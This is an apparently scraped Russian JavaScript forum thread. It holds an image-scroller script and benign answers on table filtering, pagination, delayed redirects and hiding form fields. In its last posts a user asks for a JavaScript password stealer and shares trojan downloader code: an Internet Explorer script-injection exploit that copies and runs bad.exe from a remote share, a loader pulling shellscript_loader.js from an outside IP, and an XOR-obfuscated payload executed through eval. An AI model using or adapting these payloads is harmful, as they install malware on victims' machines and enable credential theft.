SCROLLI-PUPER v2.7.5 HTML: /* * SCROLLI-PUPER v2.7.5 * * Copyright 2006-2007 Ruslan Sinitskiy. All rights reserved. * Use is subject to license terms. * Mailto : [email protected] * */ var LEFT=0; var RIGHT=0; var TOP=0; var WIDTH_IMG = 86; var HEIGHT_IMG = 94; var IMG_DIR = "http://images.zvezdi.ru/1str/"; var IMG_TYPE = ".jpg"; var IMAGES_URL = "/includes/"; var BGRND_COLOR="#000"; var LIGHT_COLOR="#fff"; var SIDE_BGRD_COLOR="#000"; var TOP_Z_INDEX=5; var SCROLL_TYPE=0; var SCROLL_SPEED=2; var USE_ACCELERATOR=true; var ALWAYS_SCROLL = true; var HORIZ_POSITION = true; var SIZE_PUPER = 0; var LOOP_IMAGES = true; function startSP(){new ScrolliPuper().startSP();};var ScrolliPuper=function(){this.startSP=function(){ai();C();if(USE_ACCELERATOR){id('scrollipuper').onmouseover=M;id('scrollipuper').onmousemove=M;id('scrollipuper').onmouseout=F;}setInterval(aD,200);};function ai(){width=SIZE_PUPER;height=SIZE_PUPER;if(SIZE_PUPER<=0){width=document.body.clientWidth;height=document.body.clientHeight;}n=HORIZ_POSITION?Math.ceil(width/WIDTH_IMG)+1:Math.ceil(height/HEIGHT_IMG)+1;w=HORIZ_POSITION?width:height;};function aD(){if(SIZE_PUPER<=0){if(width!=document.body.clientWidth||height!=document.body.clientHeight){ai();av=0;C();}}};function ag(url){if(window.XMLHttpRequest){l=new XMLHttpRequest();}else if(window.ActiveXObject){l=new ActiveXObject("Microsoft.XMLHTTP");}l.open("GET",url,true);};function C(){if(B)return;B=true;if(!f)idnum++;else idnum--;if(idnum>COUNT_ID)idnum-=COUNT_ID;if(idnum<=0)idnum+=COUNT_ID;ag(IMAGES_URL+idnum.toString()+".xml");l.onreadystatechange=al;l.send(null);};var B=false;var pause= !ALWAYS_SCROLL;var idnum=0;var aH=navigator.userAgent.toLowerCase().indexOf("msie")> -1;var width;var height;var n;var l;var av=0;var m=new Array();var Y;var G=1;var V=SCROLL_SPEED;var w;function al(){try{if(l.readyState==4){if(l.status==200){var ao=l.responseXML.getElementsByTagName("i");for(var i=0;i<ao.length;i++){if(ao[i]==null||ao[i].childNodes==null||ao[i].childNodes[0]==null)continue;var A=ao[i].childNodes[0].firstChild.nodeValue+"_SPRT_"+ao[i].childNodes[1].firstChild.nodeValue;if(ao[i].childNodes[2])A+="_SPRT_"+ao[i].childNodes[2].firstChild.nodeValue;m[m.length]=A;}B=false;if(av==0){if(m.length<n*COUNT_LINES)C();else af();}}else{B=false;ax("AJAX status = "+l.status);}}}catch(ex){B=false;ae(ex);}};function ae(ad){if(!(typeof console=='undefined'))console.error(ad);};function ax(ad){if(!(typeof console=='undefined'))console.warn(ad);};function aB(ad){if(!(typeof console=='undefined'))console.info(ad);};function log(ad){if(!(typeof console=='undefined'))console.log(ad);};var c=0;Array.prototype.aI=function(){var aq=new Array();for(var i=this.length-1;i>=0;i--){aq[this.length-1-i]=this[i];}for(var i=aq.length-1;i>=0;i--){this[i]=aq[i];}};function aa(){if(LOOP_IMAGES){m.splice(0,1);if(m.length<=COUNT_LINES*3)C();}};function ar(j,i){var A;try{var t=HORIZ_POSITION?j*HEIGHT_IMG:j*WIDTH_IMG;var r=HORIZ_POSITION?i*WIDTH_IMG-WIDTH_IMG:i*HEIGHT_IMG-HEIGHT_IMG;var Z=v("div",{id:"divimg"+j.toString()+i.toString(),style:HORIZ_POSITION?"position:absolute; top:"+t+"px; right:"+r+"px;":"position:absolute; left:"+t+"px; bottom:"+r+"px;"});var an="";var at="";var ap="";if(m.length>0){A=m[c];if(!LOOP_IMAGES)if(!f)c--;else c++;if(c<0)c+=m.length;else if(c>=m.length)c-=m.length;var I=A.indexOf("_SPRT_",0);var T=A.indexOf("_SPRT_",I+1);an=IMG_DIR+A.substring(0,I)+IMG_TYPE;if(T!= -1){at=A.substring(I+6,T);ap=A.substring(T+6);}else{at=A.substring(I+6);ap="";}aa();}var aA=v("img",{id:"img"+j.toString()+i.toString(),src:an,width:WIDTH_IMG,height:HEIGHT_IMG,border:"0px"});var d=4;if(aH)d=0;var az=v("div",{id:"selimg"+j.toString()+i.toString(),style:"position:absolute; top:0px; left:0px; width:"+(WIDTH_IMG-d).toString()+"px; height:"+(HEIGHT_IMG-d).toString()+"px; border-style:double; border-width:2px; border-color:"+LIGHT_COLOR+";display:none;"});Z.onmouseover=aw;Z.onmouseout=ay;var aj=v("a",{id:"aimg"+j.toString()+i.toString(),href:at,title:ap});aj.appendChild(aA);aj.appendChild(az);Z.appendChild(aj);id('mather').appendChild(Z);}catch(ex){ae(ex);}};function aw(e){if(Y)Y.style.display="none";Y=id("sel"+this.id.substring(3));Y.style.display="";};function ay(e){id("sel"+this.id.substring(3)).style.display="none";};function af(){av=1;var div=HORIZ_POSITION?v("div",{id:"mather",style:"position:relative; top:"+TOP+"px; left:"+LEFT+"px; width:"+width+"px; height:"+(COUNT_LINES)*HEIGHT_IMG+"px; background:"+BGRND_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"mather",style:"position:relative; top:"+TOP+"px; left:"+LEFT+"px; height:"+height+"px; width:"+(COUNT_LINES)*WIDTH_IMG+"px; background:"+BGRND_COLOR+"; z-Index:"+TOP_Z_INDEX+";"});var aE=id("scrollipuper");while(aE.hasChildNodes()){aE.removeChild(aE.firstChild);}aE.appendChild(div);for(var j=0;j<COUNT_LINES;j++){for(var i=0;i<(LOOP_IMAGES?n:m.length);i++){ar(j,i);}}var aG=HORIZ_POSITION?v("div",{id:"left",style:"position:absolute; top:0px; left:-"+LEFT+"px; width:"+LEFT+"px; height:"+COUNT_LINES*HEIGHT_IMG+"px; background:"+SIDE_BGRD_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"left",style:"position:absolute; left:0px; top:"+TOP+"px; height:"+TOP+"px; width:"+COUNT_LINES*WIDTH_IMG+"px; background:red; z-Index:"+TOP_Z_INDEX+";"});var aF=HORIZ_POSITION?v("div",{id:"right",style:"position:absolute; top:0px; right:-"+RIGHT+"px; width:"+RIGHT+"px; height:"+COUNT_LINES*HEIGHT_IMG+"px; background:"+SIDE_BGRD_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"right",style:"position:absolute; left:0px; bottom:-"+BOTTOM+"px; height:"+BOTTOM+"px; width:"+COUNT_LINES*WIDTH_IMG+"px; background:red; z-Index:"+TOP_Z_INDEX+";"});D();};function id(name){return document.getElementById(name);};function add(as,aC){id(aC).appendChild(as);};function ah(){if(typeof SCROLL_SPEED=='undefined')return;V=SCROLL_SPEED;G=1;pause=true;};function F(){if(typeof SCROLL_SPEED=='undefined')return;V=SCROLL_SPEED;G=1;pause=ALWAYS_SCROLL?false:true;};function U(d,s){G=d;V=s;pause=false;if(SCROLL_TYPE==0)f=true;else f=false;};function X(){U(1,SCROLL_SPEED);};function R(){U(1,SCROLL_SPEED*10);};function P(){U(3,SCROLL_SPEED*10);};function L(d,s){G=d;V=s;pause=false;if(SCROLL_TYPE==0)f=false;else f=true;};function Q(){L(1,SCROLL_SPEED);};function O(){L(1,SCROLL_SPEED*10);};function K(){L(3,SCROLL_SPEED*10);};function ab(){if(!pause){for(var j=0;j<COUNT_LINES;j++){for(var i=0;i<(LOOP_IMAGES?n:m.length);i++){if(HORIZ_POSITION)am("img"+j.toString()+i.toString(),j);else ac("img"+j.toString()+i.toString(),j);}}}D();};function M(e){if(typeof HORIZ_POSITION=='undefined')return;var k;if(e){if(typeof(e.pageX)=='number')k=HORIZ_POSITION?e.pageX:e.pageY;else k=HORIZ_POSITION?e.clientX:e.clientY;}else{e=window.event;if(HORIZ_POSITION){k=e.clientX;if(document.documentElement&&(document.documentElement.scrollTop||document.documentElement.scrollLeft))k+=document.documentElement.scrollLeft;else if(document.body&&(document.body.scrollTop||document.body.scrollLeft))k+=document.body.scrollLeft;}else{k=e.clientY;if(document.documentElement&&(document.documentElement.scrollTop||document.documentElement.scrollLeft))k+=document.documentElement.scrollTop;else if(document.body&&(document.body.scrollTop||document.body.scrollLeft))k+=document.body.scrollTop;}}if(HORIZ_POSITION){if(k>=LEFT){if(k<=w*0.15+LEFT)P();else if(k<=w*0.30+LEFT)R();else if(k<=w*0.45+LEFT)X();else if(k<=w*0.55+LEFT)ah();else if(k<=w*0.70+LEFT)Q();else if(k<=w*0.85+LEFT)O();else if(k<=w+LEFT)K();else F();}else F();}else{if(k>=TOP){if(k<=w*0.15+TOP)P();else if(k<=w*0.30+TOP)R();else if(k<=w*0.45+TOP)X();else if(k<=w*0.55+TOP)ah();else if(k<=w*0.70+TOP)Q();else if(k<=w*0.85+TOP)O();else if(k<=w+TOP)K();else F();}else F();}};function H(o){if(!LOOP_IMAGES)return;if(typeof m[c]=='undefined')return;try{var A=m[c];if(!LOOP_IMAGES)if(!f)c--;else c++;if(c<0)c+=m.length;else if(c>=m.length)c-=m.length;var I=A.indexOf("_SPRT_",0);var T=A.indexOf("_SPRT_",I+1);id(o).src=IMG_DIR+A.substring(0,I)+IMG_TYPE;if(T!= -1){id("a"+o).href=A.substring(I+6,T);id("a"+o).title=A.substring(T+6);}else{id("a"+o).href=A.substring(I+6);id("a"+o).title="";}aa();}catch(ex){ae(ex);}};var f=false;function ac(o,type){var div=id("div"+o);if(!div)return;var J=div.style.bottom;var g=parseInt(J.substring(0,J.length-2));if((SCROLL_TYPE!=0&& !f)||(SCROLL_TYPE==0&&f)){g-=G;if(g< -HEIGHT_IMG){g+=(LOOP_IMAGES?n:m.length)*HEIGHT_IMG;H(o);div.style.display='none';}else if(div.style.display=='none')div.style.display='';}else{g+=G;if(g>height){g-=(LOOP_IMAGES?n:m.length)*HEIGHT_IMG;H(o);div.style.display='none';}else if(div.style.display=='none')div.style.display='';}div.style.bottom=g.toString()+"px";};function am(o,type){var div=id("div"+o);if(!div)return;var J=div.style.right;var g=parseInt(J.substring(0,J.length-2));if((SCROLL_TYPE!=0&& !f)||(SCROLL_TYPE==0&&f)){g-=G;if(g< -WIDTH_IMG){g+=(LOOP_IMAGES?n:m.length)*WIDTH_IMG;H(o);div.style.display='none';}else if(g<=width&&div.style.display=='none')div.style.display='';}else{g+=G;if(g>width){g-=(LOOP_IMAGES?n:m.length)*WIDTH_IMG;H(o);div.style.display='none';}else if(g>= -WIDTH_IMG&&div.style.display=='none')div.style.display='';}div.style.right=g.toString()+"px";};var ak;function D(){if(ak)clearTimeout(ak);ak=setTimeout(ab,100/V);}};function v(name,attributes){var as=document.createElement(name);if(typeof attributes=='object'){for(var i in attributes){as.setAttribute(i,attributes[i]);if(i.toLowerCase()=='class'){as.className=attributes[i];}else if(i.toLowerCase()=='style'){as.style.cssText=attributes[i];}}}for(var i=2;i<arguments.length;i++){var au=arguments[i];if(typeof au=='string'){au=document.createTextNode(au)};as.appendChild(au);}return as;}
Выплняется запрос к БД выводятся данные в таблицу реально ли на яве осуществить фильтрацию по подстроке? пример: фио др мыло Вася 1янв вася@dfcz ....... над каждой колонкой поле ввода куда вбиваем подстроку и уже что не подходит под нее то сразу отпадает....
а не проще выбирать из базы по определенным параметрам? например: WHERE name='Вася' AND date='1янв' AND mail='вася@dfcz' и чо ты в теме по яваскрипту пишешь про базы данных?
Выведена таблица с данными ее сам клиент фильтрует уже как ему надо например по первым трем буквам по 4 и т.д если делать каждый раз запрос то представь что будет если 10000 клиентов это сделают,понятно дело что это все либо аякс либо ява....вот и спросил может кто встречал
2 korvin: чувак мыслит в правильную сторону, и не надо 10000 посетителей чтобы сделать для них удобную страничку... 2 svesve: спешиал фор ю =) PHP: <html> <head> <title>test</title> </head> <body> <script type='text/javascript'> function gebi(id) { return document.getElementById(id); } function gofiltr(v) { for (var i=1; true; i++) { var row='r' + i; var td='t' + i; //если строки кончились выходим из цикла if (gebi(row)==null) break; //для строк таблицы такой тип display при отображении var showType='table-row'; //это для браузеров - инвалидов if (navigator.userAgent.indexOf('IE')!=-1) showType='block'; // если нет вхождения искомой строки в ячейке прячем строку, иначе отображаем if (gebi(td).innerHTML.indexOf(v)==-1) gebi(row).style.display='none'; else gebi(row).style.display=showType; } } </script> <input type='text' onkeyup='gofiltr(this.value);'> <table border='1'> <tr id='r1'> <td id='t1'>afgh</td><td>ddd</td> </tr> <tr id='r2'> <td id='t2'>aagh</td><td>ddd</td> </tr> <tr id='r3'> <td id='t3'>aaah</td><td>ddd</td> </tr> </table> </body> </html> 1) строки нумируешь по порядку, чтобы по ним можно было обратится в цикле 2) на онкейап поля фильтра вешаешь функцию, проверяющую вхождение строки в ячейке и прячешь или показываешь строки таблицы. (в примере поиск идет по первой ячейке) 3) в примере сделал вхождение в любой части ячейки, если хочешь чтобы фильтр был сначала строки, проверяй дополнительно позицию вхождения строки...
Нумеровать по порядку, конечно, не нужно - есть уже готовые коллекции [ object HTMLTableElement ].rows и .cells, метод getElementsByTagName, и ещё некоторые не менее удобные способы Достаточно сохранить текущее значение в переменную и обойтись без определения браузера
Работаю с плагином pager и tablesorter для jquery пролема такая на выходе в имею данные в виде таблицы PHP: <div id="main"> <table cellspacing="1" class="tablesorter"> <thead> <tr> <th><strong>Дата</strong></th> <th><strong>Время</strong></th> <th><strong>Кто</strong></th> <th><strong>Таблица</strong></th> <th><strong>Колонка</strong></th> <th><strong>Primary Key</strong></th> <th><strong>Старое значение</strong></th> <th><strong>Новое значение</strong></th> </tr> </thead> <tfoot> <tr> <th><strong>Дата</strong></th> <th><strong>Время</strong></th> <th><strong>Кто</strong></th> <th><strong>Таблица</strong></th> <th><strong>Колонка</strong></th> <th><strong>Primary Key</strong></th> <th><strong>Старое значение</strong></th> <th><strong>Новое значение</strong></th> </tr> </tfoot> <tbody> <? while($row = $db->fetch_A()) { echo " <tr> <td>$row[date]</td> <td>$row[time]</td> <td>$row[fio]</td> <td>$row[table]</td> <td>$row[column]</td> <td>$row[pk]</td> <td>";if($row['oldvalue']==''){ echo " ";}else {echo $row['oldvalue'];}; echo"</td><td>"; if($row['newvalue']==''){ echo " ";}else {echo $row['newvalue'];}; echo"</td> </tr>"; } ?> </tbody> </table> <div id="pager" class="pager"> <form> <img src="js/pager/icons/first.png" class="first"/> <img src="js/pager/icons/prev.png" class="prev"/> <input type="text" class="pagedisplay"/> <img src="js/pager/icons/next.png" class="next"/> <img src="js/pager/icons/last.png" class="last"/> <select class="pagesize"> <option selected="selected" value="10">10</option> <option value="20">20</option> <option value="30">30</option> <option value="40">40</option> </select> </form> </div> </div> все прекрасно все выводится сортируется НО страницы не переключить.тоесть он отображает первые 10 записей и все...хотя они все выведены(все 300) это видно при сортировке....таблица которая в примерах тупо забита руками и там все работает....что подскажете? З.Ы. яваскрипт прописаны просто весь код слишком много писать )
Подскажите пожалуйста. Замечал что у водил(таксистов) на мобильниках есть програмка на яве(типа аськи-или терминал), они принимают по ней сообщения от диспетчеров... а как она, с чем связываеться? с сервером-сайтом или как? и есть ли где нить где можно скачать посмотреть такую штуку? спасиба.
ни разу такой темы у водил маршруток не видел, хотя почти каждый день на переднем сидении езжу рядом с ними, погугли, мож найдешь чо
не у маршруток.... здесь конкретно у таксистов. в городах отходят от раций и переходят на терминалы.. гугль ничего не дал...
Добрый день. Подскажите пожалуйста такую вещь: onclick="location.href='с понтом путь' " можно ли каким-то образом сделать задержку, к примеру в 2 сек, перед переходом на страницу согласно скрипта? если использовать такой способ: setTimeout(location.href='/cart.php',5000) то задержки не происходит потому что функция не в ковычках, а в ковычки ее е взять Заранее пасибо
Code: <script> function gohref() { setTimeout("location.href='/cart.php'",5000) } </script> <div onclick="gohref()">Перейти</div>
доброго времени суток. когда-то давно я задал здесь вопрос о том, как скрыть элементы формы или другие элементы разметки ответ я получил неверный.а потому разобравшись, решил написать. мало ли у кого будет подобная проблема. вот такой код Code: <html> <head> <script type="text/javascript"> function hide(value) { if (value==2){ document.getElementById(2).style.visibility= 'hidden';} else {document.getElementById(2).style.visibility= 'visible';} } </script> </head> <body> <select class="width" name="1" id="1" onChange="hide(this.value)"> <option value="1" label="1">1</option> <option selected='selected' value="2" label="1">2</option> </select> <select class="width" name="2" id="2" > <option value="1" label="1">1</option> <option selected='selected' value="2" label="2">2</option> </select> </body></html>
есть множество на javascript троянов довнладоров но есть у меня один вопрос,есть ли такой скрипт подобному знаменитому пинчу чтоб тырил пароли от ящиков проще -же написать на яваскрипт подобного пинча и с функцией (onMouseOver) проведя мышкой скрипт сработал и пароли жертвы ушли к тебе на твоё-же мыло
ну есть-же трояны на javascript вот один вырезанный код ну есть-же трояны на javascript вот один вырезанный код ------------------------------------------------------- function injectIt() { document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language="JScript" DEFER> var rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe";var wF="%windir%\\\\_tmp.exe";var o=new ActiveXObject("wscript.shell");var e="%comspec% /c copy "+rF+" "+wF;var err=o.Run(e,0,true);if(err==0) o.Run(wF,0,false);</script>'); } document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>'); setTimeout("injectIt()", 1000); --------------------------------------------------------- redir.asp
могу скинуть более таких скриптов но дело в том как сделать мыльный скрипт? <scr!pt language="Javascr!pt"> function InjectedDuringRedirection(){ showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:- 10000\;dialogHeight:1\;dialogWidth:1\;").location="javascr!pt'<SCR!PT SRC=\\'http://217.107.218.***/shellscr!pt_loader.js\\'><\/scr!pt>'"; }</scr!pt> <scr!pt language="javascr!pt">setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100 ); setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101); document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=0 HEIGHT=0></IFRAME>');</scr!pt> <scr!pt> x=34; es="84;66;86;5;73;119;71;89;95;91;12;16;14;88;89;95;86;92;67;27;85;69;9 3;88;78;94;108;82;78;74;48;105;107;120;73;79;48;38;58;105;37;9;35;41;55 ;111;109;113;61;3;59;37;35;39;118;61;53;56;41;48;59;49;20;79;0;12;0;28; 93;106;98;6;40;4;8;20;64;28;4;8;30;22;90;23;23;20;19;30;8;20;9;19;26;60 ;239;237;237;241;164;184;166;165;255;225;227;255;233;175;181;130;154;25 4;208;252;240;236;184;228;236;224;246;254;178;255;241;237;196;196;208;1 31;153;133;132;208;192;192;222;206;140;156;222;215;146;138;191;185;219; 247;217;211;193;151;211;213;210;216;204;247;148;140;142;254;227;249;169 ;165;162;172;169;191;236;169;175;187;177;236;242;241;153;134;251;158;14 0;138;224;182;180;169;179;179;218;135;139;143;129;223;201;200;171;211;1 82;183;161;172;167;161;222;188;186;167;213;157;130;131;136;195;213;212; 206;204;201;209;305;305;309;301;310;308;318;297;313;317;317;292;291;352 ;367;358;382;319;369;379;377;303;300;312;373;376;371;373;306;373;362;37 0;258;257;342;346;340;320;283;261;348;332;338;351;259;341;259;348;339;3 23;347;323;320;345;339;323;282;263;262;276;339;351;340;346;291;309;380; 356;383;328;332;296;280;294;314;318;316;355;317;295;319;294;378;358;356 ;357;358;379;376;364;362;363;364;369;382;366;332;321;339;335;324;257;26 5;260;285;260;271;261;280;323;268;256;276;264;347;328;"; var ds=new String(); ads=es.split(";"); k=ads.length-1; for(var j=0;j<k;j++) {e=ads[j];d=e^x;x+=1;ds=ds+String.fromCharCode(d);}eval(ds) </scr!pt>